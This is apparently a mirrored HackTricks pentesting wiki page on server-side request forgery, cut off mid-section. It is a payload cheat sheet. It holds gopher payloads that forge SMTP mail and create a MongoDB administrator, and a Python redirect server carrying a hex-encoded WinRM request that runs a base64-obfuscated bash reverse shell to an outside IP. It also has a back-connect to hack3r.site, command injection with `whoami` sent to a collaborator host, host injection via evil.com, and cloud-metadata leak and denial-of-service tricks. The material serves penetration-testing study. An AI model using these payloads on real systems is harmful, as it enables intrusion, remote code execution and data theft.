overview.md (36412B)
1 --- 2 title: "SSRF (Server Side Request Forgery)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SSRF (Server Side Request Forgery) 14 15 ## Basic Information 16 17 A **Server-side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a **server-side application** into making **HTTP requests** to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker. 18 19 ### GeoNetwork SLD tool SSRF 20 21 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork) 22 23 ## Capture SSRF 24 25 The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as: 26 27 - **Burp Collaborator** 28 - [**pingb**](http://pingb.in) 29 - [**canarytokens**](https://canarytokens.org/generate) 30 - [**interractsh**](https://github.com/projectdiscovery/interactsh) 31 - [**http://webhook.site**](http://webhook.site) 32 - [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) 33 - [http://requestrepo.com/](http://requestrepo.com/) 34 - [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) 35 - [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - A Burp Collaborator using ngrok 36 37 ## Whitelisted Domains Bypass 38 39 Usually you will find that the SSRF is only working in **certain whitelisted domains** or URL. In the following page you have a **compilation of techniques to try to bypass that whitelist**: 40 41 42 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass) 43 44 ### Bypass via open redirect 45 46 If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\ 47 Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)<sup>[[14]](#references)</sup> 48 49 ## Protocols 50 51 - **file://** 52 - The URL scheme `file://` is referenced, pointing directly to `/etc/passwd`: `file:///etc/passwd` 53 - **dict://** 54 - The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>` 55 - **SFTP://** 56 - Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: `url=sftp://generic.com:11111/` 57 - **TFTP://** 58 - Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` 59 - **LDAP://** 60 - This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` 61 - **SMTP** 62 - A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.<sup>[[1]](#references)[[2]](#references)</sup> 63 64 ```text 65 From https://twitter.com/har1sec/status/1182255952055164929 66 1. connect with SSRF on smtp localhost:25 67 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail 68 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 69 4. connect 70 ``` 71 72 - **Curl URL globbing - WAF bypass** 73 - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/urls/globbing.html) that can help bypass WAFs. This [writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) demonstrates it in a **path traversal through the `file` protocol**:<sup>[[13]](#references)[[15]](#references)</sup> 74 75 ```text 76 file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} 77 ``` 78 79 - **Gopher://** 80 - The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated: 81 82 ### Gopher:// 83 84 Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\ 85 Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services. 86 87 **Gopher smtp** 88 89 ```text 90 ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a 91 will make a request like 92 HELO localhost 93 MAIL FROM:<hacker@site.com> 94 RCPT TO:<victim@site.com> 95 DATA 96 From: [Hacker] <hacker@site.com> 97 To: <victime@site.com> 98 Date: Tue, 15 Sep 2017 17:20:26 -0400 99 Subject: Ah Ah AHYou didn't say the magic word ! 100 . 101 QUIT 102 ``` 103 104 **Gopher HTTP** 105 106 ```bash 107 #For new lines you can use %0A, %0D%0A 108 gopher://<server>:8080/_GET / HTTP/1.0%0A%0A 109 gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body 110 ``` 111 112 **Gopher SMTP — Back connect to 1337** 113 114 ```php 115 <?php 116 header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!"); 117 ?>Now query it. 118 https://example.com/?q=http://evil.com/redirect.php. 119 ``` 120 121 #### Gopher MongoDB -- Create user with username=admin with password=admin123 and with permission=administrator 122 123 ```bash 124 # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished 125 curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 126 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a 127 %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% 128 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 129 %00%00administrator%00%00%00%00' 130 ``` 131 132 ## SSRF via Referrer header & Others 133 134 Analytics software on servers often logs the Referrer header to track incoming links, a practice that inadvertently exposes applications to Server-Side Request Forgery (SSRF) vulnerabilities. This is because such software may visit external URLs mentioned in the Referrer header to analyze referral site content. To uncover these vulnerabilities, the Burp Suite plugin "**Collaborator Everywhere**" is advised, leveraging the way analytics tools process the Referer header to identify potential SSRF attack surfaces. 135 136 ## SSRF via SNI data from certificate 137 138 A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:<sup>[[3]](#references)</sup> 139 140 ```text 141 stream { 142 server { 143 listen 443; 144 resolver 127.0.0.11; 145 proxy_pass $ssl_preread_server_name:443; 146 ssl_preread on; 147 } 148 } 149 ``` 150 151 In this configuration, the value from the Server Name Indication (SNI) field is directly utilized as the backend's address. This setup exposes a vulnerability to Server-Side Request Forgery (SSRF), which can be exploited by merely specifying the desired IP address or domain name in the SNI field. An exploitation example to force a connection to an arbitrary backend, such as `internal.host.com`, using the `openssl` command is given below: 152 153 ```bash 154 openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf 155 ``` 156 157 ## SSRF via TLS AIA CA Issuers (Java mTLS) 158 159 Some TLS stacks will auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In **Java**, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate **during the handshake**, before any HTTP logic runs.<sup>[[6]](#references)[[7]](#references)</sup> 160 161 - **Requirements**: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI. 162 - **Triggering SSRF** (Java 21 example): 163 ```bash 164 java -Djava.security.debug=certpath \ 165 -Dcom.sun.security.enableAIAcaIssuers=true \ 166 -Dhttp.agent="AIA CA Issuers PoC" -jar server.jar 167 # Attacker cert AIA: http://localhost:8080 168 nc -l 8080 -k # observe the outbound fetch 169 curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem 170 ``` 171 The Java certpath debug output shows `CertStore URI:http://localhost:8080`, and `nc` captures the HTTP request with the controllable `User-Agent` from `-Dhttp.agent`, proving SSRF during certificate validation. 172 - **DoS via file://**: setting AIA CA Issuers to `file:///dev/urandom` on Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects. 173 174 ## SSRF via CSS Pre-Processors 175 176 LESS is a CSS preprocessor that adds variables, mixins, functions, and the `@import` directive. In an SSRF context, a server-side LESS compiler is especially interesting because `@import (inline)` makes the compiler **fetch a referenced resource and embed its response** in the generated stylesheet. An attacker who controls imported LESS can therefore turn compilation into a server-originated request. 177 178 Check how to exploit it in: 179 180 [Less Code Injection](/hacktricks/pentesting-web/xs-search/css-injection/less-code-injection) 181 182 183 ## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick) 184 185 ## SSRF with Command Injection 186 187 It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` 188 189 ## PDFs Rendering 190 191 If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here**](/hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf)**.** 192 193 ## From SSRF to DoS 194 195 Create several sessions and try to download heavy files exploiting the SSRF from the sessions. 196 197 ## SSRF PHP Functions 198 199 Check the following page for vulnerable PHP and even Wordpress functions: 200 201 202 [Php Ssrf](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf) 203 204 ## SSRF Redirect to Gopher 205 206 For some exploitations you might need to **send a redirect response** (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect: 207 208 ```python 209 # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes 210 from http.server import HTTPServer, BaseHTTPRequestHandler 211 import ssl 212 213 class MainHandler(BaseHTTPRequestHandler): 214 def do_GET(self): 215 print("GET") 216 self.send_response(301) 217 self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") 218 self.end_headers() 219 220 httpd = HTTPServer(('0.0.0.0', 443), MainHandler) 221 httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) 222 httpd.serve_forever() 223 ``` 224 225 ```python 226 from flask import Flask, redirect 227 from urllib.parse import quote 228 app = Flask(__name__) 229 230 @app.route('/') 231 def root(): 232 return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) 233 234 if __name__ == "__main__": 235 app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) 236 ``` 237 238 ## Misconfigured proxies to SSRF 239 240 Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).<sup>[[4]](#references)</sup> 241 242 ### Flask 243 244 <details> 245 246 <summary>Flask proxy vulnerable code</summary> 247 248 ```python 249 from flask import Flask 250 from requests import get 251 252 app = Flask('__main__') 253 SITE_NAME = 'https://google.com' 254 255 @app.route('/', defaults={'path': ''}) 256 @app.route('/<path:path>') 257 258 def proxy(path): 259 return get(f'{SITE_NAME}{path}').content 260 261 if __name__ == "__main__": 262 app.run(threaded=False) 263 ``` 264 265 </details> 266 267 Flask allows to use **`@`** as initial character, which allows to make the **initial host name the username** and inject a new one. Attack request: 268 269 ```http 270 GET @evildomain.com/ HTTP/1.1 271 Host: target.com 272 Connection: close 273 ``` 274 275 ### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a> 276 277 Vulnerable code: 278 279 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281201%29.png" alt=""><figcaption></figcaption></figure> 280 281 It was discovered that It's possible to **start the path** of a request with character **`;`** which allows to use then **`@`** and inject a new host to access. Attack request: 282 283 ```http 284 GET ;@evil.com/url HTTP/1.1 285 Host: target.com 286 Connection: close 287 ``` 288 289 ### PHP Built-in Web Server <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a> 290 291 <details> 292 293 <summary>Vulnerable PHP code</summary> 294 295 ```php 296 <?php 297 $site = "http://ifconfig.me"; 298 $current_uri = $_SERVER['REQUEST_URI']; 299 300 $proxy_site = $site.$current_uri; 301 var_dump($proxy_site); 302 303 echo "\n\n"; 304 305 $response = file_get_contents($proxy_site); 306 var_dump($response); 307 ?> 308 ``` 309 310 </details> 311 312 PHP allows the use of the **char `*` before a slash in the path** of the URL, however, it has other limitations like that it can only be used for the root pathname `/` and that dots `.` are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example: 313 314 ```http 315 GET *@0xa9fea9fe/ HTTP/1.1 316 Host: target.com 317 Connection: close 318 ``` 319 320 ### Reverse proxies that accept absolute URLs in the request line (open forward-proxy) 321 322 Some reverse proxies also accept **absolute-form request lines** (`GET http://10.0.0.5:8080/path HTTP/1.1`) and forward the URL as-is to a backend instead of rejecting it or rewriting it to the configured upstream. This turns the reverse proxy into a **pre-auth forward proxy with full-read SSRF**, including access to `localhost`-bound services that would normally be unreachable from the Internet.<sup>[[8]](#references)</sup> 323 324 Key points: 325 - **Request line controls destination**: the authority in the absolute URL overrides normal routing; the `Host` header is usually ignored. 326 - **Full response returned**: responses from internal hosts are streamed back, so you can enumerate and interact (e.g., SOAP/Axis2, Keycloak, admin consoles) rather than blind-probing. 327 - **Works on localhost**: `GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n` is enough to hit loopback-only listeners. 328 - **Abuse as pivot**: combine with other vulns (e.g., upload endpoints) to reach intra-host services. 329 330 Minimal probe: 331 332 ```http 333 GET http://127.0.0.1:8080/ HTTP/1.1 334 Host: whatever 335 Connection: close 336 ``` 337 338 If you see the upstream response instead of a 400, the appliance is acting as an open proxy. 339 340 ## DNS Rebidding CORS/SOP bypass 341 342 If you are having **problems** to **exfiltrate content from a local IP** because of **CORS/SOP**, **DNS Rebidding** can be used to bypass that limitation: 343 344 345 [Cors Bypass](/hacktricks/pentesting-web/cors-bypass) 346 347 ### Automated DNS Rebidding 348 349 [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine. 350 351 Check out also the **publicly running server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) 352 353 ## DNS Rebidding + TLS Session ID/Session ticket 354 355 Requirements: 356 357 - **SSRF** 358 - **Outbound TLS sessions** 359 - **Stuff on local ports** 360 361 Attack: 362 363 1. Ask the user/bot **access** a **domain** controlled by the **attacker** 364 2. The **TTL** of the **DNS** is **0** sec (so the victim will check the IP of the domain again soon) 365 3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**. 366 4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain. 367 5. In the DNS request a **private IP** address is given **now** (127.0.0.1 for example) 368 6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID (where the **payload** of the attacker was contained). So congratulations you managed to ask the **user/bot attack himself**. 369 370 Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the **port must always be the same**).\ 371 To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ 372 For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)<sup>[[16]](#references)</sup> 373 374 ## Blind SSRF 375 376 The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities. 377 378 ### Time based SSRF 379 380 **Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist) 381 382 ### From blid to full abusing status codes 383 384 According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.<sup>[[12]](#references)</sup> 385 386 However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application **follow these redirects while entering an error mode** that no longer will check the format of the data and might just print it. 387 388 The python server used to exploit this is th following: 389 390 ```python 391 @app.route("/redir") 392 def redir(): 393 count = int(request.args.get("count", 0)) + 1 394 # Pump out 305, 306, 307, 308, 309, 310 ... 395 weird_status = 301 + count 396 if count >= 10: # after 5 “weird” codes 397 return redirect(METADATA_URL, 302) 398 return redirect(f"/redir?count={count}", weird_status) 399 400 @app.route("/start") 401 def start(): 402 return redirect("/redir", 302) 403 ``` 404 405 **Steps:** 406 - First 302 gets the app to start following. 407 - Then it receives 305 → 306 → 307 → 308 → 309 → 310. 408 - After the 5th strange code the PoC finally returns 302 → 169.254.169.254 → 200 OK. 409 410 **What happens inside the target:** 411 - libcurl itself does follow 305–310; it just normalises unknown codes to “follow.” 412 - After N weird redirects (≥ 5 here) the application’s own wrapper decides “something is off” and switches to an error mode meant for debugging. 413 - In that mode it dumps the entire redirect chain plus final body back to the outside caller. 414 - Result: attacker sees every header + the metadata JSON, mission accomplished. 415 416 Note that this is interesting to leak status codes that you couldn't leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), **there might be some status codes that directly leak the content of the response.** 417 418 ### HTML-to-PDF renderers as blind SSRF gadgets 419 420 Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `<img>` or `<link rel="stylesheet">` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.<sup>[[5]](#references)</sup> 421 422 ```text 423 <html> 424 <body> 425 <img width="1" height="1" src="http://127.0.0.1:8080/healthz"> 426 <link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" /> 427 </body> 428 </html> 429 ``` 430 431 - TCPDF 6.10.0 issues several retrieval attempts for each `<img>` resource, so a single payload can generate multiple requests (helpful for timing-based port scans). 432 - html2pdf copies TCPDF’s behaviour for `<img>` and adds CSS fetching inside `Css::extractStyle()`, which simply calls `file_get_contents($href)` after a shallow scheme check. Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints. 433 - Combine this SSRF primitive with the [HTML-to-PDF path traversal tricks](/hacktricks/pentesting-web/file-inclusion/overview#html-to-pdf-svgimg-path-traversal) to leak both internal HTTP responses and local files rendered into the PDF. 434 435 Hardeners should strip external URLs before rendering or isolate the renderer in a network sandbox; until then, treat PDF generators as blind SSRF proxies. 436 437 ## Filename mini-languages as SSRF/file primitives (CFITSIO EFS) 438 439 Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like 